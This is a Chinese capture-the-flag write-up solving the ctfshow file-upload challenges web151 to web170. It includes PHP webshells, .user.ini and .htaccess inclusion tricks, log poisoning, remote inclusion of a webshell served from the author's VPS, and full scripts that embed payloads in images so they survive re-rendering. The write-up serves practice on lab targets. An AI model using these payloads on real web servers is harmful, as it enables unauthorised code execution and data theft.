0%

ctfshow-文件上传

文件上传

web151

先上传一个png后缀的图片,抓包,然后改文件头,上传成功,路径在/upload/abc.php

直接访问传命令

web152

跟上题差不多,抓包改Content-Type:image/png

其他都一样

web153

这题要先上传一个.user.ini

因为不能上传png后缀以外的文件,所以要先上传png抓包,然后改名

这里最好要在前面再加上一个GIF89a

上传成功后,改这个包,改名字为png图片马

然后访问upload页面可以直接执行命令

也可以用蚁剑直接连,但是因为靶机是https协议,所以蚁剑要改个忽略协议

.user.ini 里面有两种写法

1
2
auto_prepend_file=abc.png
auto_append_file=abc.png

前提:服务器开了CGI或者fastCGI

原理:.user.ini可以把你指定的一个文件包含到这个目录下任意一个会以php执行的文件中,不确定有什么文件时可以扫描一下网站目录,然后再上传文件,后直接访问图片上传的地址,会被当成php解析,进而实现shell

web154

跟上题差不多,先上传.user.ini,这题过滤了php字符,用短标签代替

访问uploads也是正常可以执行命令的

web155

跟上题一样的短标签绕过

web156

两种办法,都是以先上传.user.ini为前提

一种是

因为这题过滤了[],所以可以用filter_input来绕

还有一种

使用大括号{},来避免中括号的过滤

web157

跟上题的第一个办法一样做,先传.user.ini,然后图片马里面写

1
2
GIF89a
<?= eval(filter_input(INPUT_POST,"cmd")) ?>

访问网站一样进行POST传参执行命令就是答案了

看到网上别人用的Array数组绕过,这里也记录一下

1
2
3
<?=
array_map("assert",$_REQUEST)
?>

如果eval被ban掉了,可以用

web158

用上一题的数组绕过写马,还是要先上传.user.ini

requests请求可以任意进行GET或者POST传参

web159

依旧先上传.user.ini

然后这题过滤了小括号,数组绕过也不能用,用include文件包含日志

理论上是可以的,上传了文件之后能看到日志,但是过一会儿就看不着了,不知道是不是题目环境改过了

不管怎么样可以先记着payload

1
<?=include '/var/l'.'og/nginx/access.l'.'og'?>

或者最简单的木马文件直接执行命令

1
<?=`tac ../f*`?>

知道flag路径在哪里的时候可以省点事

web160

一开始也是想日志文件包含,UA写马的时候没有问题,再刷新就不行了,这里用另一个办法

直接伪协议读flag.php

1
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

能正常看到,base64解码就行

web161

沿用上一题的解,这次先传图片马再传.user.ini

还是访问upload解码即可

web162

这题用远程文件包含,首先上传.user.ini,注意.user.ini指定的文件后缀不能再为png,不然会传不上去

然后再上传abc文件,内容包含了一句话木马

这个一连串数字要用到vps,先在vps里面写个一句话木马,用flask挂起来

写的木马文件如下,命名为app.py,这是flask的默认文件名

1
2
3
4
5
6
7
8
9
from flask import Flask
app = Flask(__name__)

@app.route('/')
def get_shell():
return "<?php @eval($_REQUEST['cmd']);?>"

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)

然后在vps上执行命令

1
python3 -m flask run --host=0.0.0.0 --port=80

出现这个说明成功了,然后找个在线IP转成纯数字的网站,例如下面这个

在线ip转int,ip转数字-BeJSON.com

把自己vps的IP转成纯数字,再在前面加上http://,再对他进行包含,就是这题的图2

上传成功后访问/upload,木马已经写进去了

可以看到刚刚写的木马,已经能执行命令了

web163

跟上题一样做,远程文件包含,但是这题多了个条件竞争,会删掉文件,可以试一下直接包含服务器木马

然后直接访问upload

可以看到没被条件竞争删掉,因为是远程包含

web164

正常的木马传不上去,只能传正常的图片,上传之后下载这张图片,发现与原图片大小不一样,猜测二次渲染,使用png二次渲染进行绕过。这里看到网上现成的脚本直接用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'download.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>

这里还有个问题,在我运行这段php代码的时候,出现了报错

1
2
3
4
PHP Fatal error:  Uncaught Error: Call to undefined function imagecreatetruecolor() in 图片马生成.php:10
Stack trace:
#0 {main}
thrown in 图片马生成.php on line 10

上网搜了一下,是因为没有启用php的GD拓展

这里要改两个地方,以php8.4.12为例

  1. php从官网下载之后,是没有自带php.ini的,所以要创建一个php.ini,这里是用php.ini-development复制了一份改名为php.ini

  2. 创建完php.ini后,要在里面加一行extension=php_gd.dll,我这里的php_gd.dll是在ext目录下,所以加的时候多写一个目录

这个不要带;号,;是注释符,这样改完之后要验证是否成功

如果像图片这样,没有中文乱码报错,那就是配置成功的

然后把生成的图片传上去,可以看到可以成功访问,且可以成功执行命令

还有个要注意的点,这里直接浏览器访问不行,因为要求数据包是POST形式访问,最好用工具发包,例如burpsuite,yakit等

web165

还是图片二次渲染

用这张图片成功率高一些,就先正常上传这张图片,然后查看再下载这个图片

二次渲染直接用网上大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip)
{
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

运行成功后会生成一张图片,比原来的要黑,更好辨认

然后上传,访问

可以看到有回显

web166

这题只让传zip,先在本地写个txt一句话木马,然后压缩成zip

上传zip,然后下载,下载时抓包,然后直接利用一句话木马,POST传参

如果木马里面写的传参方式是图片这里的request,那get和post都可以传

可以看到有回显

web167

这题png不能够直接上传,可以上传jpg,题目提示httpd,联想到利用.htaccess的文件上传漏洞。

先随便传一个jpg文件,然后抓包改为.htaccess,进行上传,因为这题只能传jpg,所以filesmatch里面写jpg

上传成功后,把抓包的文件改成php一句话木马上传

可以看到能正常执行命令

web168

初级免杀,ban了一堆危险函数,但是这题不用.htaccess了,可以上传png然后后缀变为php,php里面稍微绕一下,把system反过来写,然后再反一次,变成正常的,套在一句话木马上

成功上传,也能够执行命令

web169-170

说前端要求zip,后端要求png,那就先传一个zip文件,然后抓包改,这里的思路是改.user.ini然后包含日志

.user.ini这个文件目录指向日志

然后再上传一个php文件,名字任意即可

要改UA,为一句话木马,最好不要有英文或者引号,之前做了一次用了英文的cmd裹上双引号没有传成功,后来老实用的数字

然后上传成功直接访问

能看到是有回显的,把命令换成查看flag文件即可

flag文件名为flagaa.php,另一个flag.php文件是假的